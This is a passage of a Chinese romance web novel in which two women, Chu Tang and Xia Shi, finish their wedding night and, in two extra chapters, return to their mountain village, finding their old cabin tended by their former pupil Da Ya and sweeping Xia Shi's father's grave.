并不缠绵的一个吻,点到即止,即便如此也让楚棠的脸一下子红到了脖颈……这众目睽睽的,她气恼得很,抬脚就在夏时脚上狠狠踩了一下。 夏时没料到她会这样做,一时疼得脸都皱起来了,但下一个动作还是抱住老婆哄。 几人吵吵闹闹,气氛好极了,哪怕今日宾客并不多,也将婚礼的喜庆闹了出来。拜堂之后就是喜宴,虽然宾客不多只备了一桌,却也是精心准备的。 两个女郎成婚,自然没有嫁娶,也少了许多规矩。 比如没人会在新房等着另一人,而是两人一起招待宾客。 事实证明,楚棠这几个好友大事上靠谱,私事上简直称得上损友——就这几个宾客,也是连翻上阵给一对新人灌酒。尤其唐奕出身边关酒量本来就好,拉着夏时更是不肯放人。结果没料到夏时中看不中用,几杯酒下肚还没用上灌呢,她就直接醉倒了。 唐奕端着酒杯,看着醉倒在桌子底下的夏时,一时有些尴尬:“这,也没喝多少啊?” 楚棠见状心中只有庆幸,幸好夏时醉得快,她还没来得及被灌酒。赶紧上前将人扶起:“不怪你,是阿时她酒量不好。你们先吃着,我先把她扶回去。” 醉倒的夏时死沉,楚棠自己当然扶不动,还是白芷上来帮忙一起将人扶走的。 沈知微等人见着二人背影远去,也不由面面相觑,就没见过这么短的喜宴,这菜都还没吃几口呢。 短暂的尴尬过后,温锦澜招呼众人:“算了,她们走她们的,咱们吃咱们的,在阿楚家还有什么拘束不成?” 然而这话没得到应和,沈知微摸摸下巴面露狐疑:“这酒也不醉人,才喝几杯啊就醉倒了,我可不信有人酒量这么差。走走走,都去看看,闹洞房去!” 温锦澜闻言眼睛一亮,有人带头,她立刻改了主意:“走走走!” …… 夏时确实醉了,但比起第一次喝酒时半碗米酒就被放倒,如今她的酒量多少好了些。又或者是心里记挂着今日的婚礼,不肯让自己轻易醉倒,总之等她被扶回新房时,还是迷迷糊糊睁开了眼睛。 她睁眼时,楚棠正将她往床上放,冷不丁伸手将人一拉,两个人就一起滚到了床上。 帮忙扶人的白芷见状小脸一红,哪敢再留,忙不迭转身跑了出去,还不往替两人将门关好。 楚棠听到关门声终于回神,忙将压在自己身上的醉鬼推开:“你这是醉了还是没醉?我记得你酒量确实不太好。” 夏时软绵绵的倒在她身上,发烫的脸颊贴在她颈侧,含含糊糊回:“醉了,但,但还有事。” 楚棠听她说话还有条理,就算醉了应该也还有几分清醒,便问:“还有什么事?” 话问出口,有点脸红,婚礼当晚可是洞房花烛夜,有什么事不言自明。 可夏时并未借着这暧昧的姿势做些什么,听问反而从楚棠身上撑了起来,然后她伸手,在床头的位置摸来摸去。 楚棠不解的看着她动作,见她总摸不到自己想要的东西,正要问她在找什么,就见对方居然从枕头底下摸出把锋利的剪刀来。 换个人见了,怕是要吓一跳,楚棠却自然而然将剪子从醉鬼手中接了过来:“你拿剪子要做什么?” 夏时顺从的松手,抬起头,朦胧醉眼努力看着楚棠:“结,结发。” 楚棠一怔,旋即撩起自己一缕长发,干脆利落的剪断了。随后又从夏时散落的长发中撩起一缕,同样剪了下来。待放下剪刀,再将属于两人的发丝交缠打结,再难分开。 在对方目光灼灼的注视下做好这一切,楚棠便将两人的结发递给了夏时。 夏时接了过去,宝贝似得牢牢抱着,“嘿嘿”傻笑了两声,终于抵不过醉意,闭上眼就睡着了。 …… 少时不知在哪儿,听过一句话:结发为夫妻,恩爱两不疑。 【作者有话说】 沈知微:好家伙敢装醉!闹洞房,闹洞房! 夏时:Zzzzzz~ 【番外合集】 番外外外 129☆、番外一 ◎回乡(一)◎ 时值五月,早已入了夏,天气也渐渐暖和起来。尤其端午过后好些天都是晴空万里,再加上此时的气温还不算太高,正是出门的好时节。 简陋的官道上,一辆马车正晃晃悠悠前行,马蹄叩击地面发出踏踏声响。 车辕上坐了两个人,看身形都是女郎,一个穿着方便活动的便装,另一个却是一身漂亮长裙。穿裙子的女郎手里捧着把樱桃,挑挑拣拣选了其中最红的一颗送进嘴里。 身旁的同伴驾着车,却也放了大半注意在她身上,见状问道:“怎么样,甜吗?” 女郎闻言脸一下子皱了起来,吐出一句:“酸。” 同伴便“哈哈”笑了起来,像是早料到一般,结果没等她笑完,嘴里就被投喂了一颗樱桃,还是特地挑的黄色,一看就没熟的那种。 乐极生悲,这次被酸得皱起脸的人变成了两个,好在马车上的笑声不断。 …… 这驾车行在官道上的两人,正是告假出行的楚棠和夏时。 此时已是女帝登基后的第三年,朝中局势稳定,楚棠和夏时也早坐稳了位置。去岁女帝还开了恩科,特许女子一同参考,因此朝中女官的身影也逐渐多了起来。 两人不是朝中不可或缺的重臣,也陪女帝度过了最艰难的时光,到了这时也终于能抽出时间告假,做些私事了——许久之前两人就想过,早晚要回云雾山一趟。只是这两年忙碌,抽不出时间也告不了假,直到今年才终于成行。 如今两人身份地位今非昔比,回乡的阵仗本可以大些,但夏时过了几年富贵日子依旧不习惯。最后小两口商量一番,还是决定自己驾车回去。 这一走,就是小半个月,四月底出发直到五月中,才终于抵达了庆阳。 刚才楚棠手里那把樱桃就是在庆阳城外跟个老妇人买的,不过却不是因为两人嘴馋想吃,而是看那老妇人衣衫褴褛的样子可怜,楚棠一时心软才买的。 夏时对此很有经验,瞥了眼楚棠手里那把半红半黄的樱桃,说道:“这樱桃一看就没熟,除了些贪嘴的顽童,谁都不乐意吃。我看那樱桃树也不是老人家自家栽种的,多半是在哪里发现的野生樱桃树,等不及成熟就摘了来碰运气。”那可怜样说不定也是装的。 楚棠听出了她的言外之意,倒也不怎么在意。她又在买来的樱桃里挑了挑,仍旧是挑最红的尝,这次好歹酸中带了点甜,只是依旧比不上她平日吃的。 无奈,楚棠叹了口气:“这篮子樱桃怕是吃不了了,原本拿来泡酒也行,但你那酒量……” 夏时闻言有些不服,扭过头对上老婆目光,立刻泄了气势——说她酒量不行,这话她真没什么反驳的余地,毕竟当初洞房花烛夜她都是醉倒睡过去的。更好笑的是楚棠知道她酒量不好,当天准备的也不是什么醉人的酒,她一共也没喝几杯。 自那之后,酒这东西在夏时这里就彻底失宠了。她不明白别人为什么会喜欢喝酒,自己也没兴趣探索酒水的美妙。哪怕赴宴,别人喝酒的时候,她也只喝白水。 想到这里,夏时哼哼唧唧表示不满:“家里都多久没有备酒了,你偏说这个,故意的是不是?” 楚棠笑眯眯没接话,但这模样显然就是默认了。 两人一路说说笑笑着返乡,马车走得也不快,时不时就有车马交错或者超过她们。两人见了也不着急,晒着暖阳吹着清风,瞧着沿途风景,不紧不慢往丰乐县的方向走。 这条路两人也不是头一回走了,还记得当初匆忙出逃时正是新年。彼时风雪漫天,路上尽是积雪,两人从丰乐县逃到庆阳城,足足走了四五天。而这次回乡却是气候正好,通往丰乐县的官道虽有些颠簸,却没了积雪泥泞,当初四五天的行程,这次只用了一半不到就走完了。 ********************************************************* 时隔数载,再次回到丰乐县城,这小小的偏远小镇与当初没有丝毫变化。 进城后夏时和楚棠就下了马车,两人牵着马从县城中穿行而过,目之所及不仅城中街道建筑没变,就连道旁的各种铺子也没什么变化。所谓的百年老店虽不常见,但像是丰乐县这样的小地方,一家店铺经营个一两代人都是常事,几年时间根本不算什么。 穿过半个县城,两人熟门熟路的找到了县城中最好的客栈,暂时落脚——云雾山上什么情况暂且不知,但两人都不觉得回去之后,那小院还能住人,干脆便在县城落脚了。 两人在客栈里休息了一夜,翌日才又驾着马车回云雾山。 出城前两人想起了卖馄饨的吴叔,还特地去了一趟。可惜馄饨摊虽然还在,卖馄饨的人却已经变了,成了吴叔那年轻的儿子。打听一番,据说吴叔年纪大了,去岁年底的时候出门摆摊,踩到冰滑了一跤,摔坏了腿也就不方便出来摆摊了。 两人尝了尝新摊主的手艺,和吴叔当初煮的馄饨有八分像,但终究还是有些不同了。 夏时惆怅的叹了口气,也没说要去家里探望对方,只在付账时偷偷在桌上留了锭银子给吴叔的儿子,便带着楚棠离开了。 两人离开馄饨摊,直接出了城,驾着马车往云雾山方向走。 丰乐县距离云雾山就很近了,当初两人花钱乘牛车也不过大半个时辰就能到,如今自己驾马车走得更快。还不到半个时辰,马车便晃晃悠悠驶入了石田村。 五月中旬,田间已有绿意,楚棠和夏时隔着老远便看到有人在田间忙碌——农人便是这般,伺候着几亩良田,播种、施肥、除草、收割,一年四季都不得闲。 距离村口最近的几亩天是刘家的,楚棠还记得当初那个莽撞的跑上山打猎的刘家小子,如今一眼扫过,不仅在田中看到了对方身影,在他身旁还看到了几个更加稚嫩的人影。 恰巧,楚棠看过去时,刘生正好抬起了头,听到马蹄声望了过来。 双方短暂的视线交汇,刘生愣了愣,终于认出了马车上的两人。他目光虽有些惊讶,却已经不会再像年少时那样憧憬和莽撞,甚至没有跟上去看看热闹,收回心神后便再次埋首田间。 当然,石田村注意到有马车进村的不仅刘生一个人,附近田地里的村民都听到了动静。 寻常有外人进村,她们或许还不十分在意,但夏时两人可是驾着马车来的。这时候能养得起马,用得起马车的可都是富贵人家,村中少有这样的客人,因此纷纷抬头看来。 有人抬头看,自然就有人认出了车辕上的人。 夏时原本和石田村的人不算多熟稔,但和楚棠在一起后,两人还是不可避免的和山下打交道更多。因此乍然见到失踪已久的夏时两人,村里还是生出了一阵小小的波澜。 不多时,田村长便带着几个人跑了出来,他看着越发苍老了,但腿脚倒是依旧灵活。 夏时也没打算立刻上山,毕竟这次她们驾了马车来,总不能人上山了车留在山下,届时被人连马带车偷走了都不知道。因此见到田村长露面,她倒也主动上前打了招呼:“老村长,许久不见。” 田村长目光在两人身上扫过,却见二人面色红润精神饱满,穿着打扮虽低调却看得出都是好料子。这一看就是没吃苦头,甚至算得上是衣锦还乡了。不过田村长依旧没放松心弦,他先是点点头应下招呼,旋即小心问道:“夏猎户,你这……这几年在外面过得还好吧?” 楚棠一听这话就知道对方想问什么,毕竟当年可是除夕夜就有官差上山抓人,两人又是之后失踪的,在这些村民眼中她俩估计算得上是逃犯了。 夏时也不傻,显然也想到了这一茬,便笑道:“村长放心,我们过得挺好,这几年在京城也置办下一份家业了。” 田村长听到这话吓了一跳,虽说他只是个偏远小县城外的村长,但也听说过京城的富贵迷人。要在那样的地方置办下一份家业,可不是件容易事。更重要的是京城天子脚下,应该没哪个逃犯敢往那边跑吧? 想到这儿,田村长胡乱应下:“好好好,你们过得好就行。”说完又问:“既然已经在外面安家,你们这次怎么忽然想起回来了?” 夏时摸摸鼻子,看向山上:“我爹还在这儿呢,怎么能不回来。” 田村长一怔,旋即赞同的点头:“也是,走得再远,也总该回来一趟的。” 短暂的寒暄过后,夏时将马车托付给村里人暂时照看,便拎着只大篮子,和楚棠往山上去了。 山路还是那一条,直通山上的猎户小院。夏时和楚棠还以为这路几年没人走,恐怕早就被野草覆盖了。哪知真走到近前,却发现这山路虽是杂草丛生,但当初走出的小路竟还清晰可见。 两人也没有多想,径自上了山。 楚棠养尊处优几年,这上山路又走得她气喘吁吁。 只不过如今她可不会委屈自己,扯了扯夏时衣袖,撒娇道:“走累了,你背我上山。” 这当然不成问题,做了几年羽林的夏时不仅没将一身本事丢了,时常操练还让她的体力比从前更好。当下弯腰俯身,等到楚棠往她背上一趴,立刻将人背起,小跑着冲上了山道。 130☆、番外二 ◎回乡(二)◎ 走过千百遍的山道一如既往的熟悉,夏时背着人一口气冲到了尽头。而山道的尽头正是夏时曾经的家,那座虽然简陋却也庇护她多年,更留存两人许多记忆的猎户小屋。 上山之前,两人便已经想过了,荒废几年的屋舍不可能完好如初。她们已经做好了看到满目破败,甚至屋子已经被野兽占据的心理准备。哪知真到了门前,却发现院门紧闭,比起当年虽然确实破败了不少,却远没有想象中那样糟糕。 楚棠和夏时都有些意外,面面相觑片刻,楚棠不由猜测道:“这屋子,怎么像是有人打理的样子?难不成是山下有人看上了这里,住了进去?” 夏时却摇头:“应该不会,山里的屋子不太安全,他们也怕山中野兽的。再说村里人的田地都在山下,每日耕种上山下山的,得多费功夫?有这多余的力气,还不如将村里那些破屋修整修整,也比直接住到山里的好。” 两人说着话,已经来到了小院门前,夏时尝试着伸手推了推,那院门竟是纹丝不动。 不过这也难不倒她,这院子是她一手布置的,哪里有陷阱哪里安全她一清二楚。当下将衣摆一撩,接着轻身一跃,轻而易举便翻过院墙跳了进去。 这一进院子,看得更清,小院明显被人好好收拾过,地上的落叶都不多,显然不是荒废多年的模样。她一眼扫过,还看到当初给楚棠做的那把躺椅,正如从前一样放在屋檐下……乍一眼看去,这院子不*仅没有荒废,也不像是有了新主人,倒像是主人只是短暂的离开过一段时间。 夏时心里暗暗称奇,但也没多耽搁,转头就将院门打开了。 楚棠随后进来,一眼扫过也得出了和夏时一样的结论。又想起两人上山前见过村长,后者听说她们要上山也没说过什么,便认定多半不是村里人帮忙收拾的。 一个人选忽然自她脑海中滑过,旋即又有些迟疑:“这,不会是田二嫂她们帮忙收拾的吧?” 夏时想了想,摇头:“应该不是。当初官差除夕登门,影响不小。再后来我们都走了,田二嫂应该也不会冒险上山,收拾这屋子也没什么意义。” 成年人做事总是要计较利益得失的,当初田二嫂和她俩走得近,也是有所图谋。除夕那天让大丫上山送信,已经是仁至义尽了,两人留下的屋子如何根本没必要在意。再说那时她俩走得狼狈,村里人都不知道她们还会不会回来,做这些实在是没必要。 想到这里,夏时忽的迟疑,看向了楚棠:“不会是田二嫂,那会不会是大丫?” 楚棠心里猜的其实也是大丫,也只有小孩子还会惦记狼狈离开的老师。 两人对视一眼,心头滋味复杂,夏时收回目光看向屋子:“要不要进屋看看?” 来都来了,自然是要看的,楚棠点头后,两人推门进了正屋。这里也是两人从前的居所,宽敞的屋子里有床有桌,当初没来得及带走的旧弓之类,也还挂在墙上。 除了屋里积了一层灰,倒真与当初两人住在这里时没什么区别,连当初官差登门胡乱翻找留下的痕迹,都早被人收拾过了。 夏时看着看着,忽然笑了起来:“倒是不错,收拾收拾还能住进来。” 她说着冲楚棠眨眨眼,却并没有真住进来的打算,调侃居多——这屋子是还能住,但这几年两人在京城过的也是锦衣玉食的生活。见识过楚棠从前的富贵生活,她哪里还舍得让对方陪自己吃苦?丰乐县的客栈虽也一般,但至少比这山中小屋住得舒适。 哪知她在调侃,楚棠听了之后,看着周遭却是目光留恋:“住回来也无不可。” 夏时闻言一顿,仔细去看楚棠表情,见她竟是认真的,自己反倒有些无措,不知该不该答应了。 好在就在这时,门外忽然有了动静,打断了话题。 夏时虽然不当猎户许多年了,但自幼养成的警惕却没有半分放松。她没忘记这里是云雾山中,哪怕小院的位置靠外很少有野兽活动,可也不代表绝对没有。 她一把将楚棠护在了身后,手握着腰间短刀刀柄,这才抬步走了出去。 一出门,便见一道瘦小身影正站在院门外,探着头向内张望。 ********************************************************* 帮两人收拾院子的人,果然是大丫。 几年不见,小丫头比起当初长高了不少。只是农家女儿也不会娇养,比起两人在京城见到的同龄女孩儿,大丫不仅个头比不上,人看着也是黑瘦黑瘦的,实在称不上漂亮。 师生重逢,不免有几分惊喜,楚棠揉着大丫发黄的头发问道:“大丫,这屋子是你帮我们收拾的?” 大丫点点头,看上去比当年更加腼腆,也不怎么开口说话。 夏时目光已经在大丫身上转过一圈了,目光落在她背后的背篓上,还能瞧见树叶遮挡下一小片灰色皮毛——小丫头出现在院门外显然不是偶然,她记得当初一时兴起,还教过对方如何设陷阱套兔子。这几年她这猎户不在,山上的野物也没人打,兔子应该更好套了。 只是大丫年纪还小,山上的危险又难说,她爹娘怎么放心这小丫头一个人上山逮兔子的?还有逮了兔子回去再怎么说也是肉食,大丫怎么看着比当年还瘦弱? 夏时心里嘀嘀咕咕,楚棠也不是眼瞎看不到大丫的变化。她眉头微微蹙着,拉过大丫的手准备问她这几年过得怎么样,哪知这一拉就发现大丫的手上满是老茧,还有许多细小伤口。和她自己保养得宜的手放在一起,明明白白写着两个世界。 大丫也发现了,羞窘的试图将手收回来,却被楚棠一把抓住:“大丫,怎么回事?我记得当初你娘对你还不错的,怎么现在变成了这样?” 田二嫂不是个单纯热情的人,她对人好也有自己的小心思,不过当初看得出来她对这女儿还不错,至少真心疼爱,也没有重男轻女。可这才过去几年,大丫的生活怎么看上去一落千丈了?! 大丫闻言更窘迫了,收不回手,她也只好开口:“我娘,我娘挺好的,大家都这样。” 她说的大家是村里同龄的姑娘,大丫如今虚岁已经十岁了,在村里并不算真正的小孩子,而是能帮家里做事的“大人”了。这年纪的姑娘大多会承担许多家务,所以手上有茧子也是正常的。相反楚棠那样白皙柔软的手,也只有养尊处优的富贵人家才养得出来。 夏时见多了村中女儿的成长经历,此时忍不住开口说道:“我看你像是逮了兔子,既然有这活计,怎么过得还比以前更差了?兔子送去城里也卖不少钱的。” 累死累活帮家里干活的都是普通姑娘,有一技之长的姑娘家,其实过得也不差的。 大丫低垂着头,没被拉着的手扯着衣角搅来搅去,终于低声说道:“兔子卖了钱,要给娘买药。” 两人又一番盘问,这才知道田二家这几年发生的变化。说起来也没经历什么天灾人祸,就是两口子感情不错,这几年又接连生了两个儿子。只是不巧的是田二嫂生小儿子的时候难产,最后虽然还是勉力把孩子生了下来,自己却坏了身子。 田二家原本还算富裕的,但家里多了两个小孩儿,田二嫂又需要养身体,原本宽裕的家一下子变得捉襟见肘起来。大丫这个长女理所当然的接手了家里的各种家务,除了照顾病弱的田二嫂,还得照顾两个年幼的弟弟。至于捉兔子卖钱,这也不是每天都有的收入,偶尔抓到一次最后都变成了药钱。 总而言之,小孩儿这两年过得辛苦,但也不是家里有意苛待。 夏时和楚棠听得唏嘘,但两人这些年经历得多,也见过比大丫过得更惨的。 楚棠想了想,扭头对夏时说道:“一会儿咱们下山,去田二嫂家看看吧,当初到底也算有些交情。” 夏时自无不应,垂眸看见楚棠还牵着大丫那只黑瘦小手,也没忘记楚棠这一趟过来,还惦记着这曾经的学生——今日便是没碰巧见到大丫,她俩也是要去田二家一趟的。若是见到大丫过得还不错,楚棠自然也就放心了。可如今见大丫过得不好,说不准她会有什么打算。 …… 楚棠说住在山上也无不可,但也不是今天。 两人重回故地,意外遇见大丫之后,也还有自己的事要做。 夏时养父的坟就在距离小院不远的地方,只是和有人收拾的院子不同,这里才是真正的荒废——几年没人照看,不仅坟头上长满了野草,就连坟堆看上去都小了一圈,显然是被雨水冲刷的结果。 两人上山时就带了香烛祭品,当下又是清理,又是祭拜,等做完这些都已经过了正午了。 楚棠盯着清理过后的坟堆看了看,忽的扭头问夏时:“咱们今后恐怕很难回来了,要不要将爹的坟迁去京城?” 夏时闻言却摆了摆手,想也不想就拒绝了:“京城太远了,爹从前也没去过,人生地不熟的迁去做什么?落叶归根,还是让他留在这里的好,至于香火和扫墓,可以花钱托人来办。” 楚棠自然不会强求,闻言点点头:“也对。那便让人来将这墓重新修一修吧,咱们正好也在这里住些时候。” 夏时答应下来,她们这次回乡足足有三月的假,时间还很充裕。